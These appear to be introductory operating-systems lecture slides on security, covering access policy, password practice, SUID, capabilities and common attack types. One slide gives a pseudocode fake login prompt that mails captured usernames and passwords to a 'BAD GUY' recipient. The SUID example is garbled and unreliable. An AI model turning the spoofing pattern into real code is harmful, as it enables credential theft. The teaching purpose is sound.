Security

CS 557 • Introduction to Operating Systems

Issues

• Modern systems allow multiple users access to a computer
• Distributed file systems allow users to try and access each others files
• Internet allows communication across public lines (or even wireless)
  -- these lines can be "tapped"

Protection

• Physical protection
  -- the most secure system is one inside a vault with guards outside and no connection to the outside world
• Software protection
  -- using authentication, access lists, encryption, etc. to protect a system
• Without physical protection, software does no good
• We will concern ourselves with software
Mechanism & Policy

- Mechanism
  - basic primitives
  - how something is done
- Policy
  - how primitives are used to implement functionality
  - what will be done
- For a given mechanism, the policy at different locations may differ

Mechanism & Policy

- An example
  - mechanism: capabilities list
    - tells which users can access which resources
  - policy at one location:
    - all users on system have read access to a file
  - policy at a different location:
    - no one but creator of file has any access to a file

Design Principles

- Public Design
  - don't make security algorithms secret
  - bad guys are going to figure it out eventually
  - no one but bad guys will know how to stop it
- Default - No Access
  - people will complain if they don't have enough access - not the other way around
- Minimum Privilege
  - give user just enough access to accomplish a task - no more
Design Principles

- Simple, Uniform Mechanism
  - complexity leads to bugs
  - policy can be difficult to implement
  - make things as simple as possible
- Appropriate Measures
  - what's the cost to a hacker?
  - what's the cost if system is hacked?
  - if rewards don't match effort, system will be left alone

Authentication

- Almost all systems rely on identifying a user to enforce protection
  - can't enforce a policy without knowing who wants access
  - access can be to files, to computers, to programs, etc.
- Most systems use login names and passwords to identify users
- There are other methods
  - what?

Root Access

- Most systems have a system administrator that can do whatever they want
  - Unix calls this the root user
- There are also programs that run with root access
  - password programs, mail programs, etc.
- If a hacker can get root access, they can get almost any information they want
Logins & Passwords

- Login names indicate who wants access
- Passwords confirm user is who they claim to be
- This is the most common method of user authentication
- Keeping a password secret is critical
- Selecting good passwords is critical

Brute Force Attack

- a.k.a. dictionary attack
  - just try to guess everything
- Put delay between attempts
  - 2 second delay after a wrong guess means more computing power won't help
- Don't allow common words for passwords
  - this means common names as well
- Try to run common cracker on a password before accepting it

Passwords

- Could have the system assign a random password to a user
  - may be hard for the user to remember
- Make the user change passwords frequently
  - user may switch between 2 passwords
    - not much more secure
  - user may write down password to remember it
- Best thing to do is require the user to select a good password and leave it alone
Trojan Horse

- Write a program that looks like “good guy”
  - make it look like a login prompt
- User enters their login name and password
- Get a message saying incorrect password
  - user thinks they typed it wrong
- E-mail login name and password to bad guy
- Exit the program and return to the real login prompt

```c
print("login ");
name = readln();
print("Enter ");
password = readln();
sendMail("BAD GUY", name, password);
print("Login Incorrect");
exit();
```

Trojan Horse

- Many other forms of Trojan horse program
  - create a new copy of ls that does something malicious but still performs ls function
  - requires previous access to the file system
  - if the user running ls is root, can really do some damage
  - pretend to be a different computer and give false information out to user logging in
Challenge Response

- User challenges the system
- System gives back a response verifying it is the user
- User then tries to login
  - knows it is dealing with the real thing
- This works well for accessing remote computers
  - requires some type of encryption
  - more on this later

SUID

- Very powerful software primitive
- Allows user to change identity temporarily
  - identity changes to that of the owner of the program being executed
- Most common identity to change to is root
  - this means these programs must be very carefully written
  - otherwise a user can do terrible things
- Still keep track of who the user really is
- Each file has another access bit called setuid

SUID

- Assume an ls command produces the following:
  
  - root  
  - mailProg
  
  - root  
  - mailProg
  
  - root  
  - mailProg
  
- Now assume mattmcc runs myProg which has the following code in it
  
  m=myProc();
  
  if (m==0) { 
    exec(mailProg"s...");
  }

- Also assume that all of the mail files are in a protected directory.
- Now mailProg can access all of the mail files and get the mail for mattmcc
Capabilities

- A slightly different approach than access lists
  - recall access lists give rights of each user for each resource
- Everything, including files, is considered an object
- Each user has a set of capabilities they can perform on an object
- These capabilities can be transferred between users

Capabilities

If object X is an executable program, it may have capabilities of its own:
- in this way, A can have access to resources it might not otherwise be able to

Capabilities

- To make this work, only the operating system can modify and create capabilities
  - otherwise, users could give themselves excessive rights
General Attacks

- **Interruption**
  - stops a user from getting work done
- **Interception**
  - grab data in transfer and read it
- **Modification**
  - change data in transit to give false info
- **Fabrication**
  - pretend to be someone else

Specific Attacks

- **trap door**
  - secret entrance into a system
  - doing this in the compiler can prevent the source code from showing what's going on
    - Ken Thompson's famous trap door compiler
  - war games
- **logic bomb**
  - a malicious program set to go off at a certain time
  - ping a popular server at a specific time
- **trojan horse**
  - disguise a bad program as a good one
- **denial of service**
  - send lots of messages to a particular server until it is overloaded and can no longer respond to legitimate requests

Specific Attacks

- **viruses**
  - additional code added to existing programs
  - causes these common programs to do something malicious
    - often they are capable of "spreading" themselves to other programs and other computers
    - Michelangelo virus
- **worms**
  - standalone programs that repeatedly spawn itself
  - uses massive system resources
    - slow machines down
  - they can spread very quickly
  - Robert Morris example